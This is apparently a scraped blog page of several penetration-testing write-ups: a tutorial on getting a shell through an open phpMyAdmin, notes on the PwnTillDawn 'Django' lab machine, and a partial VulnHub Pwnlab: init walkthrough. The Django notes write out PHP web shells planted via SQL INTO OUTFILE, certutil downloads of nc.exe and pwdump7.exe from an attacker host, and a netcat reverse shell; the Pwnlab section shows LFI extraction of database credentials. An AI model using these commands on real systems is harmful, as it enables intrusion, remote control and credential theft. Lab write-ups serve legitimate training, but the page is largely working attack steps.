Protected: htb-doctor-nl

This content is password protected. To view it please enter your password below:

Posted on

shell-uploading-web-server-phpmyadmin

In this tutorial, we will learn how to exploit a web server if we found the phpmyadmin panel has been left open. Here I will try to exploit phpmyadmin which is running inside the localhost “xampp” by generating a SQL query to execute malicious code and then make an effort to access the shell of victim’s Pc.

PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.

Features

  • Intuitive web interface
  • Support for most MySQL features:
  • browse and drop databases, tables, views, fields, and indexes
  • create, copy, drop, rename and alter databases, tables, fields, and indexes
  • maintenance server, databases, and tables, with proposals on server configuration
  • execute, edit and bookmark any SQL-statement, even batch-queries
  • manage MySQL user accounts and privileges
  • manage stored procedures and triggers
  • Import data from CSV and SQL
  • Export data to various formats: CSV, SQL, XML, PDF, ISO/IEC 26300 – OpenDocument Text and Spreadsheet, Word, LATEX, and others
  • Administering multiple servers
  • Creating graphics of your database layout in various formats
  • Creating complex queries using Query-by-example (QBE)
  • Searching globally in a database or a subset of it
  • Transforming stored data into any format using a set of predefined functions, like displaying BLOB-data as image or download-link

For information visit: https://www.phpmyadmin.net

Let’s start!!!

Open the localhost address:192.168.1.101:81 in the browser and select the option phpmyadmin from the given list of xampp as shown the following screenshot.

When you come into PhpMyAdmin application, here you will find different areas. On the left side of the screen, you can see the list of database names. As we are inside the administration console where we can perform multiple tasks which I have defined above, therefore, I am going to create a new database

Now click on new to create a database.

Give a name to your database as I have given Ignite technologies and click on create.

Now you can see the database ignite technologies has been added in the list of databases.

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.

Now, this is an interesting part because here I am going to execute malicious code as SQL query which will create a command shell vulnerability inside the web server.

In the following screenshot, you can see I have given above malicious php code as SQL query and then click on GO tab to execute it.

Now type the following URL to find whether we are successful or not in order to create OS command shell vulnerability.

Awesome!!!  You can see it has given a warning which means we had successfully created OS command shell vulnerability.

When you execute the above URL in the browser you will get the information of victim‘s PC directories.

Next step will achieve a meterpreter session of victim’s Pc. Open another terminal in Kali Linux and type following command. msfconsole

Copy the selected part for the DLL file and use this malicious code as the command inside the URL.

Paste the above code the URL and execute it which will give a meterpreter session on Metasploit

From the following screenshot, you can see meterpreter session 1 opened.

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets.

ptd-django-private

1st we start with a nmap scan

E:\PENTEST\NMAP>nmap -vv -A 10.150.150.212
WARNING: Could not import all necessary Npcap functions. You may need to upgrade to the latest version from http://www.npcap.org. Resorting to connect() mode -- Nmap may not function completely
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-20 13:18 W. Europe Summer Time
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:18
Completed NSE at 13:18, 0.00s elapsed
Initiating Ping Scan at 13:18
Scanning 10.150.150.212 [2 ports]
Completed Ping Scan at 13:18, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:18
Completed Parallel DNS resolution of 1 host. at 13:18, 0.01s elapsed
Initiating Connect Scan at 13:18
Scanning 10.150.150.212 [1000 ports]
Discovered open port 443/tcp on 10.150.150.212
Discovered open port 3306/tcp on 10.150.150.212
Discovered open port 21/tcp on 10.150.150.212
Discovered open port 139/tcp on 10.150.150.212
Discovered open port 80/tcp on 10.150.150.212
Discovered open port 445/tcp on 10.150.150.212
Discovered open port 135/tcp on 10.150.150.212
Discovered open port 49157/tcp on 10.150.150.212
Discovered open port 49152/tcp on 10.150.150.212
Discovered open port 49158/tcp on 10.150.150.212
Discovered open port 49154/tcp on 10.150.150.212
Discovered open port 8089/tcp on 10.150.150.212
Discovered open port 49153/tcp on 10.150.150.212
Discovered open port 49155/tcp on 10.150.150.212
Completed Connect Scan at 13:19, 44.10s elapsed (1000 total ports)
Initiating Service scan at 13:19
Scanning 14 services on 10.150.150.212
Service scan Timing: About 64.29% done; ETC: 13:20 (0:00:30 remaining)
Completed Service scan at 13:20, 59.02s elapsed (14 services on 1 host)
NSE: Script scanning 10.150.150.212.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:20
NSE Timing: About 99.95% done; ETC: 13:20 (0:00:00 remaining)
Completed NSE at 13:20, 38.83s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:20
Completed NSE at 13:20, 0.00s elapsed
Nmap scan report for 10.150.150.212
Host is up, received syn-ack (0.032s latency).
Scanned at 2020-08-20 13:18:29 W. Europe Summer Time for 144s
Not shown: 986 filtered ports
Reason: 986 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack
| fingerprint-strings:
| GenericLines:
| 220-Wellcome to Home Ftp Server!
| Server ready.
| command not understood.
| command not understood.
| Help:
| 220-Wellcome to Home Ftp Server!
| Server ready.
| 'HELP': command not understood.
| NULL, SMBProgNeg:
| 220-Wellcome to Home Ftp Server!
| Server ready.
| SSLSessionReq:
| 220-Wellcome to Home Ftp Server!
| Server ready.
|_ command not understood.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drw-rw-rw- 1 ftp ftp 0 Mar 26 2019 . [NSE: writeable]
| drw-rw-rw- 1 ftp ftp 0 Mar 26 2019 .. [NSE: writeable]
| drw-rw-rw- 1 ftp ftp 0 Mar 13 2019 FLAG [NSE: writeable]
| -rw-rw-rw- 1 ftp ftp 34419 Mar 26 2019 xampp-control.log [NSE: writeable]
|_-rw-rw-rw- 1 ftp ftp 881 Nov 13 2018 zen.txt [NSE: writeable]
| ftp-syst:
|_ SYST: Internet Component Suite
80/tcp open http syn-ack Apache httpd 2.4.34 ((Win32) OpenSSL/1.0.2o PHP/5.6.38)
|_http-favicon: Unknown favicon MD5: 56F7C04657931F2D0B79371B2D6E9820
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38
| http-title: Welcome to XAMPP
|_Requested resource was http://10.150.150.212/dashboard/
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack Apache httpd 2.4.34 ((Win32) OpenSSL/1.0.2o PHP/5.6.38)
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38
| http-title: Welcome to XAMPP
|_Requested resource was https://10.150.150.212/dashboard/
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
|_ http/1.1
445/tcp open microsoft-ds syn-ack Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: PWNTILLDAWN)
3306/tcp open mysql syn-ack MariaDB (unauthorized)
8089/tcp open ssl/http syn-ack Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-10-29T14:31:26
| Not valid after: 2022-10-28T14:31:26
| MD5: 5d60 c8e6 37f3 eea2 1ca0 3cd3 bbae 8193
| SHA-1: 0c85 65c6 0e58 49e7 1882 b403 40f4 b521 6360 8ba9
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQDsGSJfSRwcdzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0xOTEwMjkxNDMxMjZaFw0yMjEwMjgxNDMx
| MjZaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwA4l
| dCLRsUH/gqdstF7FgaM1VmhZb0ijlpG1sbpT8nG+OcPpI/LmQzMI73MceLrr3iGK
| TKBmT/7HiyLjVAUOC+sRxTr0NSUOESpmEm3HA60rV7xzCiGQIJcNoVWvR7gIF5gU
| 8G/Oqv2WBSJKVSg3z9up1FFYGF8VnEBUe/PyqGc0+mf0PC+vidx1V02PzeGfgG5o
| dnwCD0uaQ7yzH0GT9z59N8fYfXMcVM7pbdhUIATgF0tIkl9UgwF5RSsG4wMRmzqH
| /z+vjkn+hJdWydu33pD2J2st4a+v0vEDHqJYZkSXG7BqqMjsGpcjKnRsBen/JHxv
| FWlo45YUTNlqtP/+fwIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQA6nFTapGzsDIHj
| E38SOLEvQ5CWDWn+r1acCOTJ2U6gUzkymRhFfEZ9Sra8JK2F2a1IWcLrdbf495NN
| mwpwSU1D17DchCOIRxLFm8kq3imqLX0i/zgE3C+bsbl0MbgsTZsuZIRNEBSicfx6
| ZQPIuXl8HhFiJxGxK6/cQHs0R/GsaHCiB96QEyzRZzl9OieHwAI+JdAu/QDep7Av
| Z4bnpn9zJQhWIqAx6Zf7a2hLZbtNFqaFOH3sdlkI1r4vDunvIOfXXts2qq9PmitD
| C0xrGPL0+gkiEIdN5+6csG2RSnfwXO3K+ZA1ABXuLshoNVNoKve6kSCwzRBwUefX
| HkRDQlSM
|_-----END CERTIFICATE-----
49152/tcp open msrpc syn-ack Microsoft Windows RPC
49153/tcp open msrpc syn-ack Microsoft Windows RPC
49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49157/tcp open msrpc syn-ack Microsoft Windows RPC
49158/tcp open msrpc syn-ack Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.70%I=7%D=8/20%Time=5F3E5C39%P=i686-pc-windows-windows%r(
SF:NULL,35,"220-Wellcome\x20to\x20Home\x20Ftp\x20Server!\r\n220\x20Server\
SF:x20ready\.\r\n")%r(GenericLines,79,"220-Wellcome\x20to\x20Home\x20Ftp\x
SF:20Server!\r\n220\x20Server\x20ready\.\r\n500\x20'\r':\x20command\x20not
SF:\x20understood\.\r\n500\x20'\r':\x20command\x20not\x20understood\.\r\n"
SF:)%r(Help,5A,"220-Wellcome\x20to\x20Home\x20Ftp\x20Server!\r\n220\x20Ser
SF:ver\x20ready\.\r\n500\x20'HELP':\x20command\x20not\x20understood\.\r\n"
SF:)%r(SSLSessionReq,89,"220-Wellcome\x20to\x20Home\x20Ftp\x20Server!\r\n2
SF:20\x20Server\x20ready\.\r\n500\x20'\x16\x03\0\0S\x01\0\0O\x03\0\?G\xd7\
SF:xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<
SF:=\xdbo\xef\x10n\0\0\(\0\x16\0\x13\0':\x20command\x20not\x20understood\.
SF:\r\n")%r(SMBProgNeg,35,"220-Wellcome\x20to\x20Home\x20Ftp\x20Server!\r\
SF:n220\x20Server\x20ready\.\r\n");
Service Info: Hosts: Wellcome, DJANGO; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 56m57s, deviation: 1s, median: 56m56s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18317/tcp): CLEAN (Timeout)
| Check 2 (port 19575/tcp): CLEAN (Timeout)
| Check 3 (port 8595/udp): CLEAN (Timeout)
| Check 4 (port 51927/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: Django
| NetBIOS computer name: DJANGO\x00
| Workgroup: PWNTILLDAWN\x00
|_ System time: 2020-08-20T12:17:14+00:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-20 14:17:18
|_ start_date: 2020-04-02 16:41:43

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:20
Completed NSE at 13:20, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:20
Completed NSE at 13:20, 0.00s elapsed
Read data files from: E:\PENTEST\NMAP
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.40 seconds

E:\PENTEST\NMAP>

.

kali@kali:~/ptd$ gobuster dir -k --wordlist /usr/share/wordlists/dirb/big.txt --url https://10.150.150.212
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://10.150.150.212
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/20 07:38:08 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/aux (Status: 403)
/cgi-bin/ (Status: 403)
/com1 (Status: 403)
/com2 (Status: 403)
/com3 (Status: 403)
/com4 (Status: 403)
/con (Status: 403)
/dashboard (Status: 301)
/favicon.ico (Status: 200)
/img (Status: 301)
/licenses (Status: 403)
/lpt1 (Status: 403)
/lpt2 (Status: 403)
/nul (Status: 403)
/phpmyadmin (Status: 301)
/prn (Status: 403)
/secci (Status: 403)
/server-info (Status: 403)
/server-status (Status: 403)
/webalizer (Status: 403)
/xampp (Status: 301)
===============================================================
2020/08/20 07:40:25 Finished
===============================================================
kali@kali:~/ptd$
kali@kali:~/ptd$ mysql -u root -p 10.150.150.212
Enter password:thebarrierbetween
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) -> to test from kali2do
kali@kali:~/ptd$ nmap --script smb-vuln-* 10.150.150.212
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 08:18 EDT

 

E:\PENTEST\PTD>type xampp-control.log | findstr pass
3:11:25 PM [main] XAMPP Password Written in: “c:\xampp\passwords.txt”

E:\PENTEST\PTD>ftp 10.150.150.212
Connected to 10.150.150.212.
220-Wellcome to Home Ftp Server!
220 Server ready.
530 Please login with USER and PASS.
User (10.150.150.212:(none)): anonymous
331 Password required for anonymous.
Password:
230 User Anonymous logged in.
ftp> get ../xampp/passwords.txt
200 Port command successful.
150 Opening data connection for ../xampp/passwords.txt.
226 File sent ok
ftp: 816 bytes received in 0.16Seconds 5.07Kbytes/sec.
ftp> quit
221 Goodbye.

E:\PENTEST\PTD>type passwords.txt
### XAMPP Default Passwords ###

1) MySQL (phpMyAdmin):

User: root
Password:thebarrierbetween

2) FileZilla FTP:

[ You have to create a new user on the FileZilla Interface ]

3) Mercury (not in the USB & lite version):

Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)

User: newuser
Password: wampp

4) WEBDAV:

User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf

LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so

Please do not forget to refresh the WEBDAV authentification (users and passwords).

E:\PENTEST\PTD>

U don’t need password. From phpmyadmin, use sql command to outfile a reverse shell

in database = flag18_ad1357d394eba91febe5a6d33dd3ec6dd0abc056

mysql> select “<?php eval($_POST[‘puckie’])?>” into outfile’C:/xampp/webshell.php’;
Query OK, 1 row affected (0.00 sec)

SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
http://10.150.150.212/backdoor.php?cmd=whoami
http://10.150.150.212/backdoor.php?cmd=dir%20c:\users\chuck.norris\desktop
flag11 = 7a763d39f68ece1edd1037074ff8d129451af0b1
http://10.150.150.212/backdoor.php?cmd=mkdir /temp
http://10.150.150.212/backdoor.php?cmd=certutil -urlcache -split -f "http://10.66.66.94/nc.exe" c:\\temp\nc.exe

http://10.150.150.212/backdoor.php?cmd=c:\\temp\nc.exe 10.66.66.94 53 -e cmd.exe
E:\PENTEST>nc -nlvp 53
listening on [any] 53 ...
connect to [10.66.66.94] from (UNKNOWN) [10.150.150.212] 49269
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
whoami
django\chuck.norris

c:\Users\chuck.norris\Desktop>type flag11.txt
type flag11.txt
7a763d39f68ece1edd1037074ff8d129451af0b1

c:\xampp>type flag20.txt
type flag20.txt
a9435c140b6667cf2f24fcf6a9a1ea6b8574c3e7

certutil -urlcache -split -f “http://10.66.66.94/pwdump7.exe” c:\\temp\pwdump7.exe

Write-ups have been authorized for this machine by the PwnTillDawn Crew! We are just asking you to give us credit by adding a backlink to https://www.wizlynxgroup.com/ and https://online.pwntilldawn.com/ in your write-up.

Protected: thm-ignite-nl

This content is password protected. To view it please enter your password below:

Posted on

vulnhub-pwnlab-nl

Pwnlab: init

Name       : Pwnlab: init
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/pwnlab-init,158/
Entry      : 9 / 30

Welcome to the walkthrough for Pwnlab: init, a boot2root CTF found on VulnHub. This is the ninth VM in my VulnHub Challenge!

Pwnlab is a lot more involved than the other machines I’ve done up to now. It may be listed as a beginner machine, but I can assure you this one will put you through your paces! Lots of fun though, and definitely on the list of must-try machines in preparation for the OSCP.

Goal

As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.

Setup

I’m using VMWare Workstation Player to host Kali and the Pwnlab: init image, with both VMs running in a NAT network. Nothing special about the setup here, so you should be fine using either VirtualBox or VMWare Player.

Discovery

I use netdiscover to search for the IP address of the target VM:

 root@dante:~# netdiscover -r 192.168.127.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.127.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.127.2   00:50:56:e0:ea:a0      1      60  VMware, Inc.
 192.168.127.132 00:0c:29:e8:22:bd      1      60  VMware, Inc.
 192.168.127.254 00:50:56:e1:17:e5      1      60  VMware, Inc.

So it looks like 192.168.127.132 is our target IP.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00075s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 00:0C:29:E8:22:BD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
root@dante:~# nmap -sC -sV -p80,111,3306 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00090s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36690/tcp   status
|   100024  1          42476/tcp6  status
|   100024  1          43227/udp   status
|_  100024  1          53872/udp6  status
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, InteractiveClient, IgnoreSigpipes, SupportsTransactions, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, ODBCClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: Oz:NYSw{'K'|aNEN7f~i
|_  Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:E8:22:BD (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Looks like I’m looking at a web infiltration on this machine, since I’m not seeing any SSH, Telnet, or FTP ports open. MySQL being exposed is also interesting, but I’ll try going through the front door first, i.e. see what port 80 gives me.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL:

root@dante:~# curl -v http://192.168.127.132/
*   Trying 192.168.127.132:80...
* TCP_NODELAY set
* Connected to 192.168.127.132 (192.168.127.132) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.132
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 15 Sep 2019 23:39:30 GMT
< Server: Apache/2.4.10 (Debian)
< Vary: Accept-Encoding
< Content-Length: 332
< Content-Type: text/html; charset=UTF-8
<
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
* Connection #0 to host 192.168.127.132 left intact
</html>root@dante:~#

Not a whole lot here. The interesting thing is how the other pages are referenced using a page query parameter. This is typical in PHP applications, so I’m going to assume this is a PHP app.

To test my theory out, I’m going to run gobuster and see what comes out when I specify the .php extension:

root@dante:~# gobuster dir -f -t 50 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.132/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.127.132/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/09/15 19:43:13 Starting gobuster
===============================================================
/icons/ (Status: 403)
/upload/ (Status: 200)
/upload.php (Status: 200)
/images/ (Status: 200)
/index.php (Status: 200)
/config.php (Status: 200)
/login.php (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/09/15 19:44:01 Finished
===============================================================

Well that was informative! Actually there are two things that stand out to me:

  1. There is an /upload.php and /upload/ entry in the list
  2. There is a config.php file, which may contain details like a MySQL password or something.

Looking at the /upload/ path, I can see a nice directory listing (that happens to be empty):

/upload/ directory

And as for the upload.php file, I apparently need to be logged in first:

upload.php

Browsing to /config.php gives me a blank page, which makes sense since it should be chalked full of configuration variables used by other parts of the site. Since I want to get it’s content, I think about all the different ways to perform Local File Inclusion (LFI) attacks against a PHP application. I turn to my trusty LFI cheat sheet for inspiration.


Note: Some of you may be thinking that I should have gone for a SQL injection attack against the login page, and you’d be right. I actually did try that but I didn’t get anywhere with it. Granted I stayed away from SQLmap, so I’m not sure if that would have worked or not, but I really wanted to see what I could get from this config.php page instead. It’s rare to see MySQL exposed like this, so I figured my best bet was to go after that application next, and I have faith that config.php has the info I’m looking for.


config.php

Now I’m a fan of the php://filter method for LFI, using the convert.base64-encode to encode the data. It obfuscates it just enough to slip past some basic protections. Since I’m after the config.php file, I’ll target it:

root@dante:~# curl http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   405  100   405    0     0   197k      0 --:--:-- --:--:-- --:--:--  197k
                              [images/pwnlab.png]
                        [ Home ] [ Login ] [ Upload ]
===============================================================================

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text | tail -n 1 | base64 -d
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

And there it is! All on the command line and all in one go. Yes I could have decoded this in Burp and whatnot, but I really like my CLI.

Now that I have a repeatable process, I might as well see what the other pages are doing. After all, why stop at just config.php, when I have login.php, upload.php, and index.php as well! I will have to adjust the number of lines to read via tail, but that’s a small price to pay.

index.php

curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=index | html2text | tail -n 4 | base64 -d
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>

Wow, looks like there are two areas for injection here! The lang cookie and the page query parameter. The lang cookie value is easiest since it doesn’t append any strings afterwards like the page query parameter does, so this may come in handy later.

login.php

oot@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=login | html2text | tail -n 4 | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);

        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);

        $stmt->execute();
        $stmt->store_Result();

        if ($stmt->num_rows == 1)
        {
                $_SESSION['user'] = $luser;
                header('Location: ?page=upload');
        }
        else
        {
                echo "Login failed.";
        }
}
else
{
        ?>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        <?php
}

So the login page is using prepared statements, making SQL injection a non-starter. That explains the difficulty I had earlier in trying to do simple SQLi to get in. Oh well, at least I didn’t spend a lot of time on it. Still, it’s interesting to see it relies on the config.php file I grabbed earlier.

‘upload.php`

root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=upload | html2text | tail -n 4 | base64 -d
<?php
